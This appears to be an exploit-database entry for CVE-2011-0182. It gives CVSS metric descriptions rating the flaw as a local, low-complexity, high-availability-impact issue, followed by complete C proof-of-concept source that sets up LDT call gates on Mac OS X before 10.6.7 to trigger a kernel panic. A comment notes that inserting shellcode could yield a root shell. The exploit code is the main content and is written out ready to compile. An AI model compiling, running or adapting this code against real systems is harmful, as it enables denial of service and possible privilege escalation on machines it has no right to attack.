The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
/*
Mac OS X < 10.6.7 Kernel Panic Exploit
CVE-2011-0182, Proof Of Concept Code
Author- Chanam Park (hkpco)
Date- 2011. 06
Contact- [email protected] , http://hkpco.kr , @hkpco
Thanks for inspiration / x82, riaf.
*/
// Compile: gcc -o CVE-2011-0182_PoC CVE-2011-0182_PoC.c -m32
#include <architecture/i386/table.h>
#include <i386/user_ldt.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void dummy_func( void ) { asm volatile( ".byte 0xff" ); }
int main( void )
{
int ret;
union ldt_entry cgate, cgate2;
char dummy[128] = {0x00,};
cgate.call_gate.offset00 = (unsigned int)dummy_func & 0xffff;
cgate.call_gate.offset16 = ((unsigned int)dummy_func >> 16) & 0xffff;
// You can input shellcode address value here to get the root shell.
/* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p
The normal system has a little different environment.
I have no time for this anymore because of my summer break is over.
So.. Good Luck! */
cgate.call_gate.argcnt = 0;
cgate.call_gate.type = 0xc; // DESC_CALL_GATE
cgate.call_gate.dpl = 3;
cgate.call_gate.present = 1;
cgate.call_gate.seg.rpl = 0;
cgate.call_gate.seg.ti = 0;
cgate.call_gate.seg.index = 16;
cgate2.call_gate.offset00 = 0x0;
cgate2.call_gate.seg.rpl = 0;
cgate2.call_gate.seg.ti = 0;
cgate2.call_gate.seg.index = 0;
cgate2.call_gate.argcnt = 0;
cgate2.call_gate.type = 0;
cgate2.call_gate.dpl = 0;
cgate2.call_gate.present = 1;
cgate2.call_gate.offset16 = 0x0;
printf( "// coded by Chanam Park (hkpco)\n\n" );
ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate, 1 );
printf( "Selector Number in LDT <1>: 0x%x\n", ret );
ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate2, 1 );
printf( "Selector Number in LDT <2>: 0x%x\n\n", ret );
printf( "If you run this program, it can possibly cause \"Kernel Panic\".\n" );
printf( "The program will be continued when you input any value.\n" );
printf( "-> " );
fflush(stdout);
scanf( "%s", dummy );
asm volatile( "lcall $0x3f, $0x0" );
// Trigger
return 0;
}
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